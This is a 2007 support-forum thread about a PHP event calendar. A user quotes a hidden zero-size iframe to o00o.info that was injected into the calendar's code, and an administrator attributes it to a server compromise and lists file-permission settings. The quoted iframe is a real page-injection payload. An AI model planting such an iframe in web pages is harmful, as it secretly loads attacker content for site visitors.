oryhanen
Junior Member
Posts: 3
Registered: 5/9/2006
Member Is Offline |
| posted on 8/3/2007 at 11:35 AM |
|
|
Security issue
Hi
Again I have problems with o00o.info iframe, which has appeared in the beginning of the calendar code:
| Code: | | <html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=soauker marginwidth=0
marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> |
It tries to open advertisement
popups when I edit the events, for example.
What are the appropriate file permissions for the php event calendar files and folders so that the problem will not repeat again?
Is there any correction files for this problem? I tried to google the issue and I found that Joomla! had the same problem...
|
|
|
tigra
Administrator
Posts: 1976
Registered: 6/17/2002
Location: US, CO
Member Is Offline |
| posted on 8/3/2007 at 02:57 PM |
|
|
somebody has gained access to your server. For calendar to work the server should have write permissions to the its configuration files. If somebody
else can run their scripts on your server then can as well write to calendar's files. The venerability is not necessarily in the calendar's code or
configuration. We can investigate the problem if you provide more information (i.e. web server's log with the malicious activity etc).
|
|
|
oryhanen
Junior Member
Posts: 3
Registered: 5/9/2006
Member Is Offline |
| posted on 8/3/2007 at 08:23 PM |
|
|
| Quote: | Originally posted by tigra
For calendar to work the server should have write permissions to the its configuration files... |
... which are...?
|
|
|
tigra
Administrator
Posts: 1976
Registered: 6/17/2002
Location: US, CO
Member Is Offline |
| posted on 8/4/2007 at 04:39 PM |
|
|
This depends on the ownership of the file (listed from the most conservative, to most permissive)
- if file belongs to the user web server runs under then 600 is enough - owner read/write
- if web server is in the group that file belongs to then 660 will do - owner and group read/write
- otherwise 666 (woooo.... =8-[]]] ) - all read/write
|
|
|
|
Product Page
Live Demos
Free Download
Documentation
Support Forum
ORDER NOW!